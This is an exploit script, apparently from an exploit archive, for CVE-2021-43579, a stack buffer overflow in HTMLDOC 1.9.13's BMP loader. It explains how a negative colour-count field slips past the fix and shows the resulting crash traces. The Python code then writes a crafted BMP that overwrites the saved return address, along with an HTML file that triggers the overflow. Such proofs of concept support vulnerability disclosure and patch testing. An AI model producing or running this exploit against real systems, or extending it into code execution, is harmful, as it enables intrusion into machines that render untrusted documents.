#!/usr/bin/env python3 # Exploit Title: HTMLDOC 1.9.13 - Stack Buffer Overflow # Google Dork: N/A # Date: 2025-08-26 # Exploit Author: wulfgarpro # Vendor Homepage: https://github.com/michaelrsweet/htmldoc # Software Link: https://github.com/michaelrsweet/htmldoc/releases/tag/v1.9.13 # Version: <= 1.9.13 # Tested on: Linux x86_64 # CVE: CVE-2021-43579 # ============================================================================== # # ------------------------------------------------------------------------------ # Summary # ------------------------------------------------------------------------------ # HTMLDOC's BMP reader (`image_load_bmp`) uses a fixed-size stack buffer for # the colour palette: 256 * 4 = 1024 bytes. # # The `image_load_bmp` function advances past the 14-byte BITMAPFILEHEADER and # parses the BITMAPINFOHEADER. The attacker-controlled `biClrUsed` field is read # into an `int` and then directly drives the number of colour palette bytes # copied into the 1024-byte stack buffer: # # ```c # int colors_used; # uchar colormap[256][4]; // 1024 bytes # colors_used = (int)read_dword(fp); // biClrUsed # fread(colormap, (size_t)colors_used, 4, fp); # ``` # # A fix in v1.9.13 only rejected `colors_used > 256`. Negative values are not # rejected. A negative `colors_used` (e.g. `biClrUsed = 0xffffffff == -1`) is # cast to `size_t` (wraps to `SIZE_MAX`), so `fread` is asked to copy a huge # amount into the 1024-byte buffer. # # `fread(ptr, size, nmemb, ...)` copies `size * nmemb` bytes. Here the call # requests `colors_used * 4` bytes. With `biClrUsed = 0xffffffff` (-1), # `(size_t)colors_used` becomes `SIZE_MAX`, so the call requests an enormous # read (`size=SIZE_MAX, nmemb=4`). In practice `fread` writes however many bytes # are available; with our 1088-byte payload it overflows the 1024-byte buffer by # 64 bytes: # # Payload layout: # # * 1080 'A' bytes: fill the 1024-byte stack buffer and a further 56 bytes. # * 8 'B' bytes: land on the saved return address on x86_64, producing # `RIP = 0x4242424242424242`. # # Example crash without _FORTIFY_SOURCE / stack protector: # # ```sh # ► 0 0x55555559dbb7 image_load_bmp(image_t*, _IO_FILE*, int, int)+2615 # 1 0x4242424242424242 None # 2 0x1 None # 3 0x55a5d5e0 None # 4 0x555555a9ffa0 None # 5 0x555500000000 None # 6 0x5555555a989c None # 7 0x555555a5d5e0 _htmlGlyphs # ``` # # With `_FORTIFY_SOURCE=2`, overflow is detected: # # ```sh # *** buffer overflow detected ***: terminated # # Program received signal SIGABRT, Aborted. # # ► 0 0x7ffff749894c None # 1 0x7ffff743e410 raise+32 # 2 0x7ffff742557a abort+38 # 3 0x7ffff7426613 None # 4 0x7ffff7526319 None # 5 0x7ffff7525c84 None # 6 0x7ffff7526565 __fread_chk+389 # 7 0x5555555930d9 image_load_bmp(image_t*, _IO_FILE*, int, int)+346 # ``` # # ------------------------------------------------------------------------------ # Usage # ------------------------------------------------------------------------------ # 0. Generate the HTML and evil BMP: `python3 CVE-2021-43579.py` # 1. Trigger via HTMLDOC: `htmldoc --webpage -f out.pdf poc.html` # ------------------------------------------------------------------------------ # 14-byte BITMAPFILEHEADER BITMAPFILEHEADER = ( b"\x42\x4d" # bfType b"\x00\x00\x00\x00" # bfSize b"\x00\x00" # bfReserved1 b"\x00\x00" # bfReserved2 b"\x00\x00\x00\x00" # bfOffBits ) # 40-byte BITMAPINFOHEADER BITMAPINFOHEADER = ( b"\x00\x00\x00\x00" # biSize b"\x01\x00\x00\x00" # biWidth = 0x00000001 (1) b"\x01\x00\x00\x00" # biHeight = 0x00000001 (1) b"\x00\x00" # biPlanes b"\x00\x00" # biBitCount b"\x00\x00\x00\x00" # biCompression b"\x00\x00\x00\x00" # biSizeImage b"\x00\x00\x00\x00" # biXPelsPerMeter b"\x00\x00\x00\x00" # biYPelsPerMeter b"\xff\xff\xff\xff" # biClrUsed = 0xffffffff (-1) b"\x00\x00\x00\x00" # biClrImportant ) PAYLOAD = b"A" * 1080 # cyclic: uaakvaak PAYLOAD += b"B" * 8 # RIP overwrite def generate_poc_bmp(): with open("poc.bmp", "+wb") as poc_bmp: poc_bmp.write((BITMAPFILEHEADER + BITMAPINFOHEADER) + PAYLOAD) def generate_poc_html(): with open("poc.html", "+w") as poc_html: poc_html.write("<html><img src='./poc.bmp'/></html>") if __name__ == "__main__": generate_poc_bmp() generate_poc_html()